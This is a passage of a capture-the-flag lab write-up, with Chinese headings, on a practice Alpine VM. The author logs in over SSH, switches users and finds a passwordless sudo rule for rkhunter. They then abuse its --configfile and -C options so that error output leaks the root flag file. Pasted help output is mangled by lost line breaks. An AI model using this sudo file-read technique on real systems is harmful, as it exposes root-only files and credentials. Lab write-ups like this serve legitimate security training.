root@kali:/tmp/123# ssh hunterman@192.168.56.104 -p 22The authenticity of host '192.168.56.104 (192.168.56.104)' can't be established.
ED25519 key fingerprint is: SHA256:jt60cn6NFWsntzAw3UWEiADbNwlaTaBzCCwz5mqAh4M
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.104' (ED25519) to the list of known hosts.
hunterman@192.168.56.104's password:
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.
You can setup the system with the command: setup-alpine
You may change this message by editing /etc/motd.
hunter:~$ id
uid=1000(hunterman)gid=1000(hunterman)groups=1000(hunterman)
hunter:/var/www/html$ su huntergirl
Password:
/var/www/html $ sudo -l
Matching Defaults entries for huntergirl on hunter:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for huntergirl:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"User huntergirl may run the following commands on hunter:
(root) NOPASSWD: /usr/local/bin/rkhunter
/var/www/html $ sudo /usr/local/bin/rkhunter --help
Usage: rkhunter {--check | --unlock | --update | --versioncheck | --propupd [{filename | directory | package name},...]| --list [{tests |{lang | languages}| rootkits | perl | propfiles}]| --config-check | --version | --help}[options]Current options are:
--append-log Append to the logfile, do not overwrite
--bindir <directory>... Use the specified command directories
-c, --check Check the local system
-C, --config-check Check the configuration file(s), thenexit --cs2, --color-set2 Use the second color setfor output
--configfile <file> Use the specified configuration file
--cronjob Run as a cron job
(implies -c, --sk and --nocolors options) --dbdir <directory> Use the specified database directory
--debug Debug mode
(Do not use unless asked to do so) --disable <test>[,<test>...] Disable specific tests
(Default is to disable no tests) --display-logfile Display the logfile at the end
--enable <test>[,<test>...] Enable specific tests
(Default is to enable all tests) --hash {MD5 | SHA1 | SHA224 | SHA256 | SHA384 | SHA512 | NONE | <command>} Use the specified file hashfunction(Default is SHA256) -h, --help Display this help menu, thenexit --lang, --language <language> Specify the language to use
(Default is English) --list [tests | languages | List the available test names, languages,
rootkits | perl | rootkit names, perl module status
propfiles] or file properties database, thenexit -l, --logfile [file] Write to a logfile
(Default is /var/log/rkhunter.log) --noappend-log Do not append to the logfile, overwrite it
--nocf Do not use the configuration file entries
for disabled tests (only valid with --disable) --nocolors Use black and white output
--nolog Do not write to a logfile
--nomow, --no-mail-on-warning Do not send a message if warnings occur
--ns, --nosummary Do not show the summary of check results
--novl, --no-verbose-logging No verbose logging
--pkgmgr {RPM | DPKG | BSD | Use the specified package manager to obtain
BSDng | SOLARIS | or verify file property values.
NONE}(Default is NONE) --propupd [file | directory | Update the entire file properties database,
package]... or just for the specified entries
-q, --quiet Quiet mode (no output at all) --rwo, --report-warnings-only Show only warning messages
--sk, --skip-keypress Don't waitfor a keypress after each test --summary Show the summary of system check results
(This is the default) --syslog [facility.priority] Log the check start and finish times to syslog
(Default level is authpriv.notice) --tmpdir <directory> Use the specified temporary directory
--unlock Unlock (remove) the lock file
--update Check for updates to database files
--vl, --verbose-logging Use verbose logging (on by default) -V, --version Display the version number, thenexit --versioncheck Check for latest version of program
-x, --autox Automatically detect if X is in use
-X, --no-autox Do not automatically detect if X is in
发现这两个有用的参数：
1
2
-C, --config-check Check the configuration file(s), then exit
--configfile <file> Use the specified configuration file
权限提升
1
2
3
4
5
6
7
8
9
/var/www/html $ sudo /usr/local/bin/rkhunter -C --configfile /root/root.txt
Invalid SCRIPTDIR configuration option: No filename given, but it must exist.
Invalid INSTALLDIR configuration option - no installation directory specified.
The default logfile will be used: /var/log/rkhunter.log
Invalid TMPDIR configuration option: No filename given, but it must exist.
Invalid DBDIR configuration option: No filename given, but it must exist.
The internationalisation directory does not exist: /i18n
grep: bad regex ' HMV{FhOpuXDUlZFhOpuXDUlZ} ': Invalid contents of {}Unknown configuration file option: HMV{FhOpuXDUlZFhOpuXDUlZ}
wArn